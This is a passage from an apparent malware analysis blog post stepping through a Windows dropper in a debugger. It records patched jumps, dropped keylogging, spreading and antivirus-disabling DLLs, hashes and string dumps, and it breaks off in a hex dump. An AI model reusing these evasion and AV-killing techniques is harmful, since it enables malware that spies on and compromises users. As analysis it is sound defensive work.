instructions&#160; directly after OpenFileMappingA()&#160; ( = the jump) should be avoided.<\/p>\n<p>Let's restart &amp; skip over the jump. <\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">004014F0  |&gt; 50             PUSH EAX                                 ; \/MappingName\n004014F1  |. 6A 00          PUSH 0                                   ; |InheritHandle = FALSE\n004014F3  |. 6A 04          PUSH 4                                   ; |Access = FILE_MAP_READ\n004014F5  |. FF15 08204000  CALL DWORD PTR DS:[&lt;&amp;KERNEL32.OpenFileMa&gt;; \\OpenFileMappingA\n004014FB  |. 8BF8           MOV EDI,EAX\n004014FD  |. 85FF           TEST EDI,EDI\n004014FF  |. 897C24 18      MOV DWORD PTR SS:[ESP+18],EDI\n00401503  |. 0F84 AD010000  JE ~DF3A.004016B6                        ;  *** &lt;= We should skip this jump\n00401509  |. 6A 00          PUSH 0                                   ; \/MapSize = 0\n0040150B  |. 6A 00          PUSH 0                                   ; |OffsetLow = 0\n0040150D  |. 6A 00          PUSH 0                                   ; |OffsetHigh = 0\n0040150F  |. 6A 04          PUSH 4                                   ; |AccessMode = FILE_MAP_READ\n00401511  |. 57             PUSH EDI                                 ; |hMapObject\n00401512  |. FF15 0C204000  CALL DWORD PTR DS:[&lt;&amp;KERNEL32.MapViewOfF&gt;; \\MapViewOfFile\n00401518  |. 85C0           TEST EAX,EAX\n0040151A  |. 894424 14      MOV DWORD PTR SS:[ESP+14],EAX\n0040151E  |. 0F84 8B010000  JE ~DF3A.004016AF\n00401524  |. 8B15 90314000  MOV EDX,DWORD PTR DS:[403190]\n0040152A  |. 68 80000000    PUSH 80\n0040152F  |. 52             PUSH EDX\n00401530  |. FFD5           CALL EBP<\/pre>\n<p>Edit the instruction at 00401503 and change it to 6 NOPs or alternatively, you can also change the condition (by changing the instruction to JNZ)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image193.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb190.png\" width=\"638\" height=\"213\" \/><\/a><\/p>\n<p>Next, ViewMapOfFile() is called, followed by a similar routine to check the outcome of the function, followed by a jump to 004016AF, which will first close a handle, and then jumps to the routine that will create the calc.exe process. So again, this jump needs to be avoided (and we'll simply change that jump too)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image194.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb191.png\" width=\"634\" height=\"301\" \/><\/a><\/p>\n<p>After skipping the jump, a call is made to IsBadReadPtr (call EBP), followed by a third test eax,eax + conditional jump routine).&#160; That jump will actually jump to 0040153A, which is a few instructions lower (still above the LoadLibrary()), so we won't bother changing that one.<\/p>\n<p>Next, LoadLibrary() will load user32.dll, putting its base address in eax<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image195.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb192.png\" width=\"640\" height=\"96\" \/><\/a><\/p>\n<p>Another call to IsBadReadPtr is made (call EBP at 0040155F) and a short jump to 00401569 is made. That's fine at this point. Then, GetProcAddress() is called, with the following parameters :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FCE0   7E410000  ..A~  |hModule = 7E410000 (user32)\n0012FCE4   00142F95  \u2022\/.  \\ProcNameOrOrdinal<\/pre>\n<p>This returns a pointer to user32.IsWindow in eax (7E429313). <\/p>\n<p>Next, GetProcAddress() is called (CALL EDI at 0040159E), trying to locate the function pointer to SendMessageA()<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FCE0   7E410000  ..A~  user32.7E410000\n0012FCE4   00142F9E  \u017e\/.  ASCII &quot;<span style=\"color: #8b0000\">SendMessageA<\/span>&quot;<\/pre>\n<p>A few instructions below, we see <\/p>\n<p>004015B6&#160; |. 8B02&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; MOV EAX,DWORD PTR DS:[EDX]<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image196.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb193.png\" width=\"468\" height=\"418\" \/><\/a><\/p>\n<p>This instructions creates an access violation (reading [00000000]).&#160; EDX was set to [ESP+14] above that instruction, so in order to overcome this issue, we'll have to set ESP+14 to something useful at this point, or we'll simply skip some pieces.<\/p>\n<p>Looking at the instructions below the current one, we can see ExpandEnvironmentStringsA(), GetFileAttributesA(), CreateDirectoryA()\u2026 and that looks promising.<\/p>\n<p>So - instead of fixing the instruction, we'll simply skip over a bunch of instructions and jump directly to 004015DF. Simply select all instructions (including the current one, which is creating an access violation), up to 004015DF, and replace them with nops.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image197.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb194.png\" width=\"478\" height=\"385\" \/><\/a><\/p>\n<p>Continue the execution. The first thing we'll see is the conversion from &quot;%Program Files%\\Complus Applications\\&quot; to &quot;C:\\Program Files\\Complus Applications\\&quot;&#160; (using ExpandEnvironmentStringsA). Next, if the folder does not exist (check is performed using GetFileAttributesA), it gets created (CreateDirectoryA)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image198.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb195.png\" width=\"737\" height=\"124\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image199.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb196.png\" width=\"554\" height=\"285\" \/><\/a><\/p>\n<p>Then, user32.SendMessageA() is called (CALL ESI at 00401629).&#160; This call will result in triggering an acces violation, so this call should be nop'ed out (as well as the instructions below the call, up to (and including) 00401632.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image200.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb197.png\" width=\"577\" height=\"114\" \/><\/a><\/p>\n<p>Next, string &quot;c:\\Program Files\\ComPlus Applications\\mssoap2.dll&quot; is created (using lstrcatA), and a call is made to 00401220, where<\/p>\n<ul>\n<li>call is made to FindResourceA (looking for ResourceType &quot;BL&quot;), returning pointer 00404048 <\/li>\n<li>size of resource is retrieved (0x6800) <\/li>\n<li>LoadResource is called (hResource set to 00404048) <\/li>\n<li>SetHandleCount is called (nHandles set to 00404060) <\/li>\n<li>VirtualAlloc is called, with the following parameters :\n<ul>\n<li>0012FC90&#160;&#160; 00000000&#160; ....&#160; |Address = NULL<br \/>\n        <br \/>0012FC94&#160;&#160; 00006800&#160; .h..&#160; |Size = 6800 (26624.) <\/p>\n<p>0012FC98&#160;&#160; 00001000&#160; ...&#160; |AllocationType = MEM_COMMIT <\/p>\n<p>0012FC9C&#160;&#160; 00000004&#160; ...&#160; \\Protect = PAGE_READWRITE <\/li>\n<li>(memory gets allocated at 00380000) <\/li>\n<\/ul>\n<\/li>\n<li>0x1A00 bytes are copied from 00404060 to 00380000 <\/li>\n<\/ul>\n<p>then 00401100 is called, taking 3 arguments :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FC94   0012FCB8  \u00b8\u00fc.  |Arg1 = 0012FCB8\n0012FC98   00380000  ..8.  |Arg2 = 00380000\n0012FC9C   00006800  .h..  \\Arg3 = 00006800<\/pre>\n<p>In that function, the bytes that were copied to 00380000 earlier, get decoded and converted to what seems to be a PE format :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image201.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb198.png\" width=\"540\" height=\"288\" \/><\/a><\/p>\n<p>When that function has returned, file c:\\Program Files\\ComPlus Applications\\mssoap2.dll is created, and 0x6800&#160; bytes from 00380000 are written to the file, as explained below :<\/p>\n<p>In the CreateFileA call, I noticed that the pointer to the Filename appears to be off a few bytes (maybe because we skipped a few routines along the road. <\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image46111.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image46111_thumb.png\" width=\"715\" height=\"105\" \/><\/a><\/p>\n<p>I manually adjusted the pointer to 0012FD10 so it would point at the correct filename :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image203.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb200.png\" width=\"716\" height=\"97\" \/><\/a><\/p>\n<p>The CreateFileA() call returns a handle to the file (0x38)<\/p>\n<p>The WriteFileA() call uses the following parameters :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FC8C   00000038  8...  |hFile = 00000038 (window)\n0012FC90   00380000  ..8.  |Buffer = 00380000\n0012FC94   00006800  .h..  |nBytesToWrite = 6800 (26624.)\n0012FC98   0012FCB0  \u00b0\u00fc.  |pBytesWritten = 0012FCB0\n0012FC9C   00000000  ....  \\pOverlapped = NULL<\/pre>\n<p>Then the handle is closed, memory at 0x00380000 is released and the resource is freed as well.&#160; After that, the function ends.<\/p>\n<blockquote>\n<p>Although this routine appears quite simple, it also has proven to be quiet effective against behavioural analysis. If the file is analysed outside the infection chain or context, it appears to be harmless.&#160; When looking at it inside the debugger and manually bypassing some of the &quot;tricks&quot; inside the binary, things start to make more sense.&#160; I expect the other files not to be any different \/ to use similar tricks.<\/p>\n<\/blockquote>\n<p>Next, handles are closed, and function 00401360 is called, creating &quot;calc.exe&quot;, injecting code into the process, and closing DF3A.exe.&#160; The injected code in calc.exe removes df3a.exe, and terminates calc.exe as well.<\/p>\n<p>mssoap2.dll file info :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">File: mssoap2.dll\nMD5:  86715a739a415be5a20148999015a0c7\nSize: 26624\n\nAscii Strings:\n---------------------------------------------------------------------------\n!This program cannot be run in DOS mode.\nmemcpy\nmemset\nmemcmp\nsprintf\nstrstr\n<span style=\"color: #0000ff\">printf<\/span>\nfclose\nfprintf\nfopen\n_except_handler3\n<span style=\"color: #0000ff\">atoi<\/span>\nMSVCRT.dll\n<span style=\"color: #0000ff\">free<\/span>\n_initterm\n<span style=\"color: #0000ff\">malloc<\/span>\n_adjust_fdiv\nGetClassNameA\nIsWindowVisible\nReleaseDC\nGetDC\nEnumChildWindows\nGetWindowTextA\nGetAsyncKeyState\nGetKeyState\nGetWindowThreadProcessId\nGetForegroundWindow\nSendMessageA\nEnumWindows\nSetWindowsHookExW\nGetMessageW\nUSER32.dll\nGetModuleFileNameExA\nEnumProcessModules\nPSAPI.DLL\nGetPixel\nGDI32.dll\nGetAdaptersInfo\niphlpapi.dll\nRegCreateKeyExA\nRegCloseKey\nRegSetValueExA\nRegQueryValueExA\nRegOpenKeyExA\nADVAPI32.dll\nCloseHandle\nVirtualFree\nReadFile\nVirtualAlloc\nGetFileSize\nCreateFileA\nQueueUserAPC\nlstrcpyA\nGetTempFileNameA\nGetTempPathA\nlstrcmpiA\nIsDBCSLeadByte\nSetEvent\nIsBadWritePtr\nIsBadReadPtr\nGetModuleHandleA\nGetCurrentProcessId\nWaitForSingleObject\nExitProcess\nlstrlenA\nGetTickCount\nCreateEventA\nGetVersionExA\nGetLastError\nCreateMutexA\nCreateRemoteThread\nWriteProcessMemory\nVirtualAllocEx\nOpenProcess\nGetModuleFileNameA\nLoadLibraryA\nOpenMutexA\nHeapFree\nHeapAlloc\nGetProcessHeap\nlstrcpynA\nDeleteFileA\nCreateThread\nSleepEx\nDisableThreadLibraryCalls\nSetLastError\nVirtualProtect\nFlushInstructionCache\nGetCurrentProcess\nMultiByteToWideChar\nKERNEL32.dll\nGdipAlloc\nGdipDisposeImage\nGdipSaveImageToFile\nGdipCreateBitmapFromHBITMAP\nGdipGetImageEncodersSize\nGdipGetImageEncoders\nGdiplusShutdown\nGdiplusStartup\nGdipFree\nGdipCloneImage\ngdiplus.dll\nwcscmp\n_strupr\nGetWindowRect\nGetWindowDC\nDeleteDC\nDeleteObject\nBitBlt\nSelectObject\nCreateCompatibleBitmap\nCreateCompatibleDC\nPMV2_DataCollector.dll\nEC#$\nOPWindowClass\nSoftware\\FlashFXP\n)!@#$%^&amp;*(\n\\Shotsnap%u.jpg\nPMV2CollectAPCThread\n###################################################\n[BACK]\n[MK]\n[End]\n[Home]\n[Enter]\n[Tab]\nPluginCallbackProc ... \n\\<span style=\"color: #0000ff\">log<\/span>%u.txt\nInitializePlugin.\n%s:%u\nimagehlp.dll\nImagehlpApiVersionEx\nSymInitialize\nSymSetOptions\nSymGetOptions\nSymLoadModule\nSymGetModuleInfo\nSymGetSymFromName\nBindImage\n.detour\n\nUnicode Strings:\n---------------------------------------------------------------------------\njjjj\nimage\/jpeg<\/pre>\n<p>Let's keep an eye on this one. Also - see the last string in the file ?&#160; .detour ?&#160; We might also expect to see some API hooking after all.<\/p>\n<p>&#160;<\/p>\n<h5>~DF3E.exe <\/h5>\n<p>We already know that using automated tools does not always produce reliable results. In order to analyse DF3E, I'll run DF2D and DF3A first (no debugger attached), to make sure all possble requirements are met (files in place, registry keys in place, etc) and then I'll run DF3E through the debugger.<\/p>\n<p>Looking at the first few instructions in the main function, we can see something very similar to DF3A :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image204.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb201.png\" width=\"490\" height=\"350\" \/><\/a><\/p>\n<p>We'll simply take the same steps as the ones we performed when analysing DF3A.&#160; Basically, execute all instructions until the conditional jump at 00401503, and change the condition. (change the instruction from JE to JNE).&#160; We'll need to do the same at 0x0040151E.&#160; If we continue to execute instructions after changing the jumps, the code will <\/p>\n<ul>\n<li>load user32.dll <\/li>\n<li>find function pointer to user32.IsWindow <\/li>\n<li>find function pointer to user32.SendMessageA <\/li>\n<\/ul>\n<p>Then at 004015B6, we change all instructions up to 004015BD to nops. This will avoid an access violation.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image205.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb202.png\" width=\"480\" height=\"154\" \/><\/a><\/p>\n<p>Next, folder C:\\Program Files\\ComPlus Applications is created (if it does not exist yet).&#160; At this point, everything looks exactly the same as in DF3A.<\/p>\n<p>Next, xPlayer.dll is created in that folder, and the function returns. (MD5 of the file : 51248C419736FDBEE43B4ECB64FBEFF8)<\/p>\n<p>NOP out the instruction at 0x0040167A (to avoid an Access violation).<\/p>\n<p>Finally, a new process (calc.exe) is created, injected with the cleanup routine, and the application exits.<\/p>\n<p>File info : <\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">File: XPlayer.dll\nMD5:  51248c419736fdbee43b4ecb64fbeff8\nSize: 11264\n\nAscii Strings:\n---------------------------------------------------------------------------\n!This program cannot be run in DOS mode.\na&quot;<span style=\"color: #8b0000\">u2W\\Device\\NamedPipe\\browser\n<\/span>\\Device\\NamedPipe\\srvsvc\nZwQueryInformationFile\nZwDuplicateObject\nZwQuerySystemInformation\nZwQueryObject\nntdll\nlanmanserver\nlanmanworkstation\nBrowser\n%u.%u.%u.%u\n$_Money_$\n__PHO&amp;COM__\n%Systemroot%\\<span style=\"color: #0000ff\">system<\/span>32\\rundll32.exe\n &quot;<span style=\"color: #8b0000\">%s<\/span>&quot;,CPlApplet %s\nSeDebugPrivilege\n!#Exp%d#!\nvalue\nInstance\n\\\\%s\n4b324fc8-1670-01d3-1278-5a47bf6ee188\n\\\\%s\\pipe\\browser\n\\\\%s\\pipe\nstrstr\nsprintf\nmemcpy\n<span style=\"color: #0000ff\">atoi<\/span>\n_itoa\nMSVCRT.dll\n<span style=\"color: #0000ff\">free<\/span>\n_initterm\n<span style=\"color: #0000ff\">malloc<\/span>\n_adjust_fdiv\nDefWindowProcA\nSetTimer\nPostQuitMessage\nDispatchMessageA\nTranslateMessage\nGetMessageA\nShowWindow\nCreateWindowExA\nRegisterClassExA\nUSER32.dll\nAdjustTokenPrivileges\nLookupPrivilegeValueA\nOpenProcessToken\nQueryServiceStatusEx\nCloseServiceHandle\nOpenServiceA\nOpenSCManagerA\nADVAPI32.dll\nGetAdaptersInfo\niphlpapi.dll\nWNetCancelConnectionA\nWNetAddConnection2A\nMPR.dll\nUuidToStringA\nUuidFromStringA\nRPCRT4.dll\nWS2_32.dll\nWideCharToMultiByte\nVirtualFree\nCloseHandle\nTerminateThread\nWaitForSingleObject\nCreateThread\nGetProcAddress\nGetModuleHandleA\nVirtualAlloc\nGetCurrentProcess\nCreateRemoteThread\nOpenProcess\nSleep\nGetTickCount\nReleaseSemaphore\nCreateSemaphoreA\nHeapFree\nHeapAlloc\nGetProcessHeap\nExitThread\nUnmapViewOfFile\nMapViewOfFile\nGetExitCodeThread\nExitProcess\nGetLastError\nCreateMutexA\nOpenFileMappingA\nCreateProcessA\nExpandEnvironmentStringsA\nGetModuleFileNameA\nGetStartupInfoA\nCreateFileMappingA\nGetCurrentProcessId\nGetExitCodeProcess\nlstrcpyA\nDisableThreadLibraryCalls\nTransactNamedPipe\nlstrcatA\nCreateFileA\nlstrlenA\nKERNEL32.dll\nPMV2_08067.dll\nCPlApplet<\/pre>\n<p>&#160;<\/p>\n<h5>~DF4A.exe <\/h5>\n<p>Again, the same techniques (as the ones documented in previous files) are used. This time, file regutils.dll is created.<\/p>\n<p>File info :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">File: regutils.dll\nMD5:  6104e03783e6d0c7443fb99ed8eebe46\nSize: 12800\n\nAscii Strings:\n---------------------------------------------------------------------------\n!This program cannot be run in DOS mode.\nQihoo360\ne2813ddf-80f8-4da9-b6e3-f051ccad2e24\nProgramPath\nSoftware\\Kingsoft\\AntiVirus\nQ360MonMutex\nDrvFWAccess\nSoftware\\360Safe\\safemon\n{D6EB0652-1172-4e51-BFC6-6AF63762C09C}-rav-0\nSoftware\\Rising\\Rav\nQ360SDMutex\nSoftware\\360SD\n22.37.00.03\n%d-%02d-%02d %02d:%02d\n%d.%02d.%02d.14\nDebugger\nntsd -d\nSOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\nDSMain.exe\n360Safe.exe\nRavMonD.exe\nrstray.exe\n360rp.exe\n360sd.exe\nLiveUpdate360.exe\nZhuDongFangYu.exe\n360tray.exe\nkissvc.exe\nkmailmon.exe\nkswebshield.exe\nkwatch.exe\nkavstart.exe\nTKSun.Kongbiet\nmemset\nmemcpy\nMSVCRT.dll\n<span style=\"color: #0000ff\">free<\/span>\n_initterm\n<span style=\"color: #0000ff\">malloc<\/span>\n_adjust_fdiv\nRegCloseKey\nRegQueryValueExA\nRegOpenKeyExA\nRegSetValueExA\nRegCreateKeyA\nRegOpenKeyA\nADVAPI32.dll\nDefWindowProcA\nLoadIconA\nwsprintfA\nDispatchMessageA\nTranslateMessage\nGetMessageA\nShowWindow\nMoveWindow\nCreateWindowExA\nRegisterClassExA\nUSER32.dll\nShell_NotifyIconA\nSHELL32.dll\nCreateMutexA\nGetFileAttributesA\nlstrcpyA\nGetLocalTime\nTerminateProcess\nOpenProcess\nProcess32Next\nlstrcmpiA\nCloseHandle\nProcess32First\nCreateToolhelp32Snapshot\nGetLastError\nCreateThread\nKERNEL32.dll\nsafemon.DLL<\/pre>\n<p>Still no network traffic.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h5>~DF4E.exe<\/h5>\n<p>In this binary, folder C:\\Program Files\\WinRar is created, and a file called unacev32.dll is dropped into the folder.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">File: UNACEV32.DLL\nMD5:  361f207b6f0c8e49e54bf9fb0cb709a9\nSize: 20992\n\nAscii Strings:\n---------------------------------------------------------------------------\n!This program cannot be run in DOS mode.\nhttp:<span style=\"color: #008000\">\/\/<\/span>\nvalue\nDFrz\nmemcpy\nmemset\n<span style=\"color: #0000ff\">free<\/span>\nmemcmp\n<span style=\"color: #0000ff\">malloc<\/span>\nsprintf\nstrstr\nMSVCRT.dll\n_initterm\n_adjust_fdiv\nRegCloseKey\nRegSetValueExA\nRegCreateKeyExA\nRegQueryValueExA\nRegOpenKeyExA\nRegEnumKeyA\nRegQueryInfoKeyA\nRegDeleteKeyA\nRegCreateKeyA\nADVAPI32.dll\nLocalAlloc\nIsBadReadPtr\nCloseHandle\nVirtualFree\nWriteFile\nMultiByteToWideChar\nlstrcatA\nlstrcpyA\nVirtualAlloc\nGetFileSize\nReadFile\nSetFilePointer\nlstrcmpiA\nGetVolumeInformationA\nGetDiskFreeSpaceA\nCreateFileA\nGetProcAddress\nGetModuleHandleA\nDeviceIoControl\nFreeResource\nLockResource\nLoadResource\nSizeofResource\nFindResourceA\nLocalFree\nDeleteFileA\nGetWindowsDirectoryA\nlstrlenA\nGetTickCount\nGetFileAttributesA\nExpandEnvironmentStringsA\nMoveFileExA\nlstrcpynA\nGetModuleFileNameA\nKERNEL32.dll\nUNACEV32.DLL\n\nUnicode Strings:\n---------------------------------------------------------------------------<\/pre>\n<p>This time, the file is not just being created, but it's also loaded (at 0x10000000) after it gets created :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image206.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb203.png\" width=\"652\" height=\"136\" \/><\/a><\/p>\n<p>A pointer to the module entry point is retrieved (0x10001B2D), and then the function gets called. (CALL EAX at 0x004016AC)<\/p>\n<p>At 0x10001B2D, function 0x1000114A is called. In that function, a LocalAlloc is executed, followed by memcpy :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FCA8   00143BEC  \u00ec;.  |dest = 00143BEC\n0012FCAC   10004110  A.  |src = 10004110\n0012FCB0   00000178  x..  \\n = 178 (376.)<\/pre>\n<p>Then memset is executed<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FC9C   0012FCBC  \u00bc\u00fc.  |s = 0012FCBC\n0012FCA0   00000000  ....  |c = 00\n0012FCA4   00000020   ...  \\n = 20 (32.)<\/pre>\n<p>Then,&#160; data copied to 00143BEC is decoded\/decrypted :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00143BEC  5C 5C 2E 5C 25 63 3A 00 46 41 54 33 32 00 6E 74  \\\\.\\%c:.FAT32.nt\n00143BFC  64 6C 6C 2E 64 6C 6C 00 5A 77 4F 70 65 6E 44 69  dll.dll.ZwOpenDi\n00143C0C  72 65 63 74 6F 72 79 4F 62 6A 65 63 74 00 5A 77  rectoryObject.Zw\n00143C1C  51 75 65 72 79 44 69 72 65 63 74 6F 72 79 4F 62  QueryDirectoryOb\n00143C2C  6A 65 63 74 00 5A 77 43 6C 6F 73 65 00 52 74 6C  ject.ZwClose.Rtl\n00143C3C  49 6E 69 74 55 6E 69 63 6F 64 65 53 74 72 69 6E  InitUnicodeStrin\n00143C4C  67 00 52 74 6C 43 6F 6D 70 61 72 65 55 6E 69 63  g.RtlCompareUnic\n00143C5C  6F 64 65 53 74 72 69 6E 67 00 53 4F 46 54 57 41  odeString.SOFTWA\n00143C6C  52 45 5C 44 2D 54 6F 6F 6C 73 00 49 6E 73 74 61  RE\\D-Tools.Insta\n00143C7C  6C 6C 65 64 00 5C 3F 3F 5C 00 25 75 2E 73 79 73  lled.\\??\\.%u.sys\n00143C8C  00 53 59 53 54 45 4D 5C 43 75 72 72 65 6E 74 43  .SYSTEM\\CurrentC\n00143C9C  6F 6E 74 72 6F 6C 53 65 74 5C 53 65 72 76 69 63  ontrolSet\\Servic\n00143CAC  65 73 5C 25 30 38 78 00 45 72 72 6F 72 43 6F 6E  es\\%08x.ErrorCon\n00143CBC  74 72 6F 6C 00 53 74 61 72 74 00 54 79 70 65 00  trol.Start.Type.\n00143CCC  49 6D 61 67 65 50 61 74 68 00 5C 52 65 67 69 73  ImagePath.\\Regis\n00143CDC  74 72 79 5C 4D 61 63 68 69 6E 65 5C 00 5C 5C 2E  try\\Machine\\.\\\\.\n00143CEC  5C 54 4B 49 64 69 6F 